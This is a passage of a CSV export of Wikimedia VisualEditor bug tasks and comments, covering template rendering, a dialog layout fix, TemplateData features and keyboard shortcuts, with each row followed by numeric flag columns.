+https://bugzilla.wikimedia.org/show_bug.cgi?id=50885",Medium,50.0,1376041620,1378335744.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-7ix4hqmkcelueduz7hux,task_description,resolved,True,c1,3,False,False,True,5,,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,1,0,1
+247560,VisualEditor: Welcome dialog doesn't expand/scroll to fit large fonts,"Change 82466 merged by jenkins-bot:
+Improve welcome dialog support for large fonts
+
+https://gerrit.wikimedia.org/r/82466",,,1378335727,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7ix4hqmkcelueduz7hux,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+247557,VisualEditor: Welcome dialog doesn't expand/scroll to fit large fonts,"Change 82466 had a related patch set uploaded by Trevor Parscal:
+Improve welcome dialog support for large fonts
+
+https://gerrit.wikimedia.org/r/82466",,,1378241684,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7ix4hqmkcelueduz7hux,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+54658,VisualEditor: Template {{-}} can be moved into following heading because it doesn't render,"en.wp user Redrose64 reports:
+With this edit: https://en.wikipedia.org/w/index.php?title=Paisley_Gilmour_Street_railway_station&diff=prev&oldid=567709873 ""the {{-}} was moved from the bottom of a section into a heading, effectively yielding the HTML <h3><span class=""mw-headline"" id=""2013"">2013<br style=""clear:both;"" /></span>[edit]</h3> ""
+
+I can reproduce that on that article by:
+1. Deleting with backspace the header ""Post-2008"" (and nothing else)
+2. Typing ""2013""
+
+I can't reproduce it in my sandbox with {{-}} (or {{clear}}) before a header and then changing the header.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1375989720,1376609977.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-cwptueorc4rxrgvc5shh,task_description,resolved,True,c1,3,False,False,True,5,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+246994,VisualEditor: Template {{-}} can be moved into following heading because it doesn't render,"
+
+*** This bug has been marked as a duplicate of bug 49806 ***",,,1376609977,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cwptueorc4rxrgvc5shh,task_subcomment,,True,c1,3,True,,,6,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+246984,VisualEditor: Template {{-}} can be moved into following heading because it doesn't render,"Because Subbu and Gabriel asked: this is a VE bug, not a Parsoid bug. Unfortunately it's not very clear where the {{-}} template is exactly because it doesn't really produce visible output. So pressing backspace or delete can cause the {{-}} to move to a different paragraph, which may be styled as a heading or restyled by the user to be a heading. And you don't really notice that you're doing this because it's not visible.",,,1376609124,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-cwptueorc4rxrgvc5shh,task_subcomment,,True,c1,3,False,,,6,,0,0,1,1,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+246975,VisualEditor: Template {{-}} can be moved into following heading because it doesn't render,"Moving to VisualEditor:
+
+[16:19] <RoanKattouw> That looks like a VE issue
+[16:20] <RoanKattouw> It's probably because {{-}} doesn't produce any visible output (it outputs a <br> with clear: both;)
+[16:20] <RoanKattouw> And so people don't notice when their backspace or delete presses cause the {{-}} to be moved into a different paragraph which they then mark up as a heading",,,1376609113,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cwptueorc4rxrgvc5shh,task_subcomment,,True,c1,3,True,,,6,,1,0,0,1,1,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+246968,VisualEditor: Template {{-}} can be moved into following heading because it doesn't render,"I reproduced it - not precisely, but close enough.
+
+I pretended I was a brand new editor, and rather than changing the heading I created a new one, above the old. Then I deleted the old and applied formatting to the new word I typed.
+
+This rendered this: http://en.wikipedia.org/w/index.php?title=User%3AMdennis_%28WMF%29%2Fsandbox&diff=568643085&oldid=568642989
+
+The template moved, but in front of rather than behind the word.
+
+I'm using Chrome.
+
+I tried it again on Firefox, and caught the template again:
+https://en.wikipedia.org/w/index.php?title=User%3AMdennis_%28WMF%29%2Fsandbox&diff=568643930&oldid=568643677
+
+I guess that the IP editor may have positioned his cursor slightly differently, but that seems to be the behavior that led to the issue. It seems like potentially an easy decision to make.",,,1376567370,,PHID-USER-joqqkabmjmvxeucx4ni2,False,,,PHID-TASK-cwptueorc4rxrgvc5shh,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,1,0,0,1,0,0,1,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+246963,VisualEditor: Template {{-}} can be moved into following heading because it doesn't render,"I agree with your recommendation, Chris.
+
+I think this was a valid bug, but it might have been specific to a particular set of conditions at the time of the bug (cached HTML, what the user was doing, the state that VE was in and the HTML it generated, source wikitext) which we are having a hard time reproducing now.  So, I am going to close this bug for now and we can reopen this or a new one if a similar error shows up.",,,1376407275,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-cwptueorc4rxrgvc5shh,task_subcomment,,True,c1,3,True,,,6,,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,1,0,0,1,1,0,1,1,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+246959,VisualEditor: Template {{-}} can be moved into following heading because it doesn't render,"Having tried again, I still can't reproduce it. The original edit that caused this was by an anonymous user who hasn't edited since, so we're unlikely to get any more information from them.
+
+Should this be closed (WORKSFORME?) and then just reopened if it happens again in future?",,,1376388286,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-cwptueorc4rxrgvc5shh,task_subcomment,,True,c1,3,False,,,6,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,0
+246956,VisualEditor: Template {{-}} can be moved into following heading because it doesn't render,"After about 5 minutes trying I can't reproduce this now on either the present or old revisions of that page. I haven't tried again in my sandbox but given the other findings I wouldn't expect it to.
+
+The only change is I'm now running Firefox 23 rather than the 22 I was running when I reported this (and I don't know how to keep separate versions of the same program available at the same time, sorry)",,,1376093134,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-cwptueorc4rxrgvc5shh,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+246950,VisualEditor: Template {{-}} can be moved into following heading because it doesn't render,"Unfortunately, I am having a hard time reproducing the bug now.  And, as you noted, I am not able to copy it to my sandbox and reproduce it either.  This may have been some glitch in how VE might have modified the DOM on editing there.
+
+Can you verify that you can reproduce the error on the latest version or that oldid?  I even added a newline space back in case that matters (since that is what was present in the oldid).",,,1376083679,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-cwptueorc4rxrgvc5shh,task_subcomment,,True,c1,3,True,,,5,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,1,0
+54653,VisualEditor: Thai Wikipedia's coordinates template displays badly in tables,"During the edit
+
+This has been noted on the Thai wikipedia.  
+See screenshots for how it looks.  
+
+Basically, in edit mode, the sixth column of this table, containing Goehack coordinate links, displays as an HTML string in edit mode. Not only very messy, but it pushes the following columns off the page.
+
+Appears to save normally.
+
+Replicated on current FF, Chrome, on Mac OS and Ubuntu
+
+Page on Thai.wiki: https://th.wikipedia.org/wiki/%E0%B8%A3%E0%B8%B2%E0%B8%A2%E0%B8%8A%E0%B8%B7%E0%B9%88%E0%B8%AD%E0%B9%82%E0%B8%9A%E0%B8%A3%E0%B8%B2%E0%B8%93%E0%B8%AA%E0%B8%96%E0%B8%B2%E0%B8%99%E0%B9%83%E0%B8%99%E0%B8%81%E0%B8%A3%E0%B8%B8%E0%B8%87%E0%B9%80%E0%B8%97%E0%B8%9E%E0%B8%A1%E0%B8%AB%E0%B8%B2%E0%B8%99%E0%B8%84%E0%B8%A3_(%E0%B9%80%E0%B8%82%E0%B8%95%E0%B8%9E%E0%B8%A3%E0%B8%B0%E0%B8%99%E0%B8%84%E0%B8%A3_%E0%B8%9B%E0%B9%89%E0%B8%AD%E0%B8%A1%E0%B8%9B%E0%B8%A3%E0%B8%B2%E0%B8%9A%E0%B8%A8%E0%B8%B1%E0%B8%95%E0%B8%A3%E0%B8%B9%E0%B8%9E%E0%B9%88%E0%B8%B2%E0%B8%A2_%E0%B9%81%E0%B8%A5%E0%B8%B0%E0%B8%AA%E0%B8%B1%E0%B8%A1%E0%B8%9E%E0%B8%B1%E0%B8%99%E0%B8%98%E0%B8%A7%E0%B8%87%E0%B8%A8%E0%B9%8C)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11613}",Medium,50.0,1375975140,1414165021.0,PHID-USER-ttyyrgsrkyonct7hizgv,True,,False,PHID-TASK-blwhpbgbhchhdkulxgr2,task_description,resolved,True,c1,3,False,False,False,5,,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+246773,VisualEditor: Thai Wikipedia's coordinates template displays badly in tables,"Not sure when, but this is now fixed, probably because of Ed's work on template wrapping.",,,1414165021,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-blwhpbgbhchhdkulxgr2,task_subcomment,,True,c1,3,True,,,68,,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+54651,VisualEditor: Transclusion dialog should validate template parameter values using TemplateData information,"If a parameter has '""type"": ""number""', VisualEditor should not allow the user to insert other kind of values. Alternativelly, it could just warn the user but still allow a value of the wrong type to be inserted.
+
+This should not be restricted just to the ""number"" type. Other types would also benefity from some validation (e.g., if at some point we have a type ""string/image-name"", VE should check if the user provided the name of an existing image).
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52652",Medium,50.0,1375969680,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-c65b3wdhn2onui4dnvcj,task_description,open,True,c1,3,False,False,,5,,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+246685,VisualEditor: Transclusion dialog should validate template parameter values using TemplateData information,"I don't agree with restricting users from only entering content as the hinting suggests (the hinting may be wrong, or may restrict users too much) - this is the same reason why we allow users to add un-hinted parameters.
+
+However, yes, we should definitely add this missing feature in soon.",,,1376115954,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-c65b3wdhn2onui4dnvcj,task_subcomment,,True,c1,3,True,,,5,,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+54609,"VisualEditor: When getting TemplateData, VE automatically adds ""Template:"" even if another namespace is provided","If you want to add a ""template"" that is not in the template namespace, for example: ""User:UBX""; VE will make an API request like: ""GET https://en.wikipedia.org/w/api.php?format=json&action=templatedata&titles=Template%3AUser%3AUBX"".
+
+It should automatically detect that ""User:"" is a valid namespace, and not add the ""Template:"" prefix.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1375875780,1404157232.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-oqp2lj4ng622u7fiwxp2,task_description,resolved,True,c1,3,False,False,False,5,,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,0
+244218,"VisualEditor: When getting TemplateData, VE automatically adds ""Template:"" even if another namespace is provided","Change 140875 merged by jenkins-bot:
+Handle transcluding templates outside of the template namespace properly
+
+https://gerrit.wikimedia.org/r/140875",,,1404157149,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oqp2lj4ng622u7fiwxp2,task_subcomment,,True,c1,3,False,,,52,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+244213,"VisualEditor: When getting TemplateData, VE automatically adds ""Template:"" even if another namespace is provided","What Matt pointed out is handled correctly except for main namespace titles (e.g. :Foo), where the input widget trips over itself and you always end up with Template:Foo.",,,1403824833,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-oqp2lj4ng622u7fiwxp2,task_subcomment,,True,c1,3,False,,,51,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0
+244206,"VisualEditor: When getting TemplateData, VE automatically adds ""Template:"" even if another namespace is provided","The commit says the purpose of the colon is ""to create a link to something that would normally be included as a File/Category"".
+
+That's true, but it also plays a role in transclusion.  It's used to transclude things in the main namespace.
+
+E.g. on English Wikipedia {{Main Page}} transcludes https://en.wikipedia.org/wiki/Template:Main_Page , whereas {{:Main Page}} transcludes https://en.wikipedia.org/wiki/Main_Page
+
+For other namespaces (e.g. {{Wikipedia:Community Portal}} / {{:Wikipedia:Community Portal}} ), it works either way.
+
+Full demo: https://en.wikipedia.org/w/index.php?title=User:Superm401/Sandbox&oldid=614564227
+
+This may be handled somewhere (e.g. Parsoid), but it needs to be tested.",,,1403823029,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-oqp2lj4ng622u7fiwxp2,task_subcomment,,True,c1,3,True,,,51,,0,1,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,0
+244200,"VisualEditor: When getting TemplateData, VE automatically adds ""Template:"" even if another namespace is provided","This was also hiding another problem (templates outside of the Template namespace ended up prefixed with ':', breaking them). This patch should fix that too (and hopefully not break any other link suggesting things).",,,1403224037,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-oqp2lj4ng622u7fiwxp2,task_subcomment,,True,c1,3,True,,,50,,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,1,1,0,0,0
+244195,"VisualEditor: When getting TemplateData, VE automatically adds ""Template:"" even if another namespace is provided","Change 140875 had a related patch set uploaded by Alex Monk:
+Handle transcluding templates outside of the template namespace properly
+
+https://gerrit.wikimedia.org/r/140875",,,1403223913,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oqp2lj4ng622u7fiwxp2,task_subcomment,,True,c1,3,False,,,50,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+244188,"VisualEditor: When getting TemplateData, VE automatically adds ""Template:"" even if another namespace is provided","(Okay, it's not as simple as I was hoping)",,,1403222822,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-oqp2lj4ng622u7fiwxp2,task_subcomment,,True,c1,3,True,,,50,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0
+244181,"VisualEditor: When getting TemplateData, VE automatically adds ""Template:"" even if another namespace is provided",It looks like we can just pass the title to mw.Title.newFromText with mw.config.get( 'wgNamespaceIds' ).template as the (default) namespace.,,,1403221498,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-oqp2lj4ng622u7fiwxp2,task_subcomment,,True,c1,3,True,,,50,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+54599,VisualEditor: Get rid of IVStore check in toDomElements in GCNode subclasses,"Some toDomElements functions reach into the store, but they shouldn't and the check is redundant.
+",Medium,50.0,1375853340,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-gx6k3eekkero53hloidz,task_description,open,True,c1,3,False,False,,5,,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+54597,VisualEditor: Add keyboard shortcut for code element/style,"A keyboard shortcut for code would be helpful, particularly for MediaWiki.org.  We'll need to think of what to use.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1375852380,1410825475.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-gf6k4fuodiscgbllfhpa,task_description,resolved,True,c1,3,True,False,False,5,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+243516,VisualEditor: Add keyboard shortcut for code element/style,Verified the fix in production,,,1411682734,,PHID-USER-24djtv3gj5gua2y6u2g5,True,,,PHID-TASK-gf6k4fuodiscgbllfhpa,task_subcomment,,True,c1,3,False,,,64,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+243510,VisualEditor: Add keyboard shortcut for code element/style,"Change 160174 merged by jenkins-bot:
+Add keyboard shortcuts for strikethrough and code annotations
+
+https://gerrit.wikimedia.org/r/160174",,,1410823312,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-gf6k4fuodiscgbllfhpa,task_subcomment,,True,c1,3,False,,,63,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+243504,VisualEditor: Add keyboard shortcut for code element/style,"Change 160174 had a related patch set uploaded by Jforrester:
+Add keyboard shortcuts for strikethrough and code annotations
+
+https://gerrit.wikimedia.org/r/160174",,,1410570243,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-gf6k4fuodiscgbllfhpa,task_subcomment,,True,c1,3,False,,,62,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+243500,VisualEditor: Add keyboard shortcut for code element/style,"**fred** wrote:
+
+When is this planned? I was about to write that enhancement proposition as well when I saw this ticket.
+
+My personal preference would be to have a shortcut near the ctrl tab on the left of the keyboard.",,,1385041001,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-gf6k4fuodiscgbllfhpa,task_subcomment,,True,c1,3,False,,,20,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+243494,VisualEditor: Add keyboard shortcut for code element/style,"(In reply to comment #1)
+> One possiblity is Ctrl-{.  It takes three key strokes on some keyboards, but
+> it's memorable as long as it matches the toolbar icon, and not that hard to
+> type.
+
+We're almost certainly not going to keep '{}' for code (especially as there's <code> and <syntaxhighlight> that need to be distinguishable), but it's a possibility.",,,1375865906,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-gf6k4fuodiscgbllfhpa,task_subcomment,,True,c1,3,True,,,5,,1,0,0,0,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+243486,VisualEditor: Add keyboard shortcut for code element/style,"One possiblity is Ctrl-{.  It takes three key strokes on some keyboards, but it's memorable as long as it matches the toolbar icon, and not that hard to type.",,,1375861847,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-gf6k4fuodiscgbllfhpa,task_subcomment,,True,c1,3,True,,,5,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+54582,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"Some templates use numbered arguments (see for example http://en.wikipedia.org/wiki/Module:Citation/CS1/Whitelist in the numbered_arguments list). For example, you can use author1, author2, ... (no limit).
+
+Currently, there's no way to define such parameters in TemplateData, and the VE interface is not also optimal for them.
+
+Would it be possible to handle numbered arguments in TemplateData: a parameter named author# would define a numbered parameter named author with a numerical suffix. It should be possible to define lower bound (1 by default) and upper bound (no limit by default).
+
+Then VE should handle them accordingly: only propose the first parameter available in the list of parameters than can be added.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+{T53740}",Medium,50.0,1375805280,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,False,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_description,open,True,c1,3,False,False,,5,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,1,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,0,1,0,0
